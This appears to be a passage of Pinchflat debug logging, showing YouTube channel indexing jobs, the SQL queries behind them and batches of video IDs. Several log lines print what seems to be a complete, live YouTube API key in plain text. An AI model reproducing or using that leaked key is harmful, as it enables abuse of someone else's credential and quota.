"FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:57:49.898 [debug] QUERY OK source="media_items" db=1.9ms idle=93.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:57:49.898 [debug] QUERY OK source="tasks" db=0.1ms idle=95.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800342, 40, ~U[2026-02-10 23:57:49Z], ~U[2026-02-10 23:57:49Z]] 17:57:49.899 [info] {"args":{"id":40},"id":3800303,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97060,"event":"job:stop","queue_time":529282,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:50.803 [info] {"args":{"id":2},"id":3800304,"meta":{},"system_time":1770767870803843248,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:50.804 [debug] QUERY OK source="sources" db=0.1ms idle=905.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:57:50.804 [debug] QUERY OK source="settings" db=0.1ms idle=905.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:50.804 [debug] QUERY OK source="media_profiles" db=0.1ms idle=898.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:50.805 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:50.805 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:57:50.805 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:50.805 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:50.896 [debug] QUERY OK source="media_items" db=0.5ms idle=91.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:57:50.899 [debug] QUERY OK source="media_items" db=2.0ms idle=92.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:57:50.900 [debug] QUERY OK source="tasks" db=0.1ms idle=94.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800343, 2, ~U[2026-02-10 23:57:50Z], ~U[2026-02-10 23:57:50Z]] 17:57:50.900 [info] {"args":{"id":2},"id":3800304,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96383,"event":"job:stop","queue_time":542752,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:52.805 [info] {"args":{"id":38},"id":3800305,"meta":{},"system_time":1770767872805644198,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:52.805 [debug] QUERY OK source="sources" db=0.1ms idle=1905.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:57:52.806 [debug] QUERY OK source="settings" db=0.0ms idle=1899.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:52.806 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:52.806 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:52.806 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:57:52.806 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:52.806 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:53.137 [debug] QUERY OK source="media_items" db=0.6ms idle=331.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:57:53.139 [debug] QUERY OK source="media_items" db=1.4ms idle=332.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:57:53.141 [debug] QUERY OK source="tasks" db=1.1ms idle=333.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800344, 38, ~U[2026-02-10 23:57:53Z], ~U[2026-02-10 23:57:53Z]] 17:57:53.141 [info] {"args":{"id":38},"id":3800305,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":335988,"event":"job:stop","queue_time":272366,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:54.809 [info] {"args":{"id":41},"id":3800306,"meta":{},"system_time":1770767874809191879,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:54.809 [debug] QUERY OK source="sources" db=0.1ms idle=1667.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:57:54.809 [debug] QUERY OK source="settings" db=0.0ms idle=1662.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:54.810 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:54.810 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:54.810 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:57:54.810 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:54.810 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:54.954 [debug] QUERY OK source="media_items" db=0.6ms idle=144.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:57:54.955 [debug] QUERY OK source="media_items" db=0.5ms idle=145.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:57:54.956 [debug] QUERY OK source="tasks" db=0.1ms idle=145.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800345, 41, ~U[2026-02-10 23:57:54Z], ~U[2026-02-10 23:57:54Z]] 17:57:54.956 [info] {"args":{"id":41},"id":3800306,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147097,"event":"job:stop","queue_time":525452,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:55.810 [info] {"args":{"id":5},"id":3800307,"meta":{},"system_time":1770767875810713569,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:55.810 [info] {"args":{"id":6},"id":3800308,"meta":{},"system_time":1770767875810768758,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:55.811 [debug] QUERY OK source="sources" db=0.2ms idle=854.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:57:55.811 [debug] QUERY OK source="sources" db=0.1ms idle=854.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:57:55.811 [debug] QUERY OK source="settings" db=0.1ms idle=848.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.811 [debug] QUERY OK source="settings" db=0.2ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.811 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:55.811 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 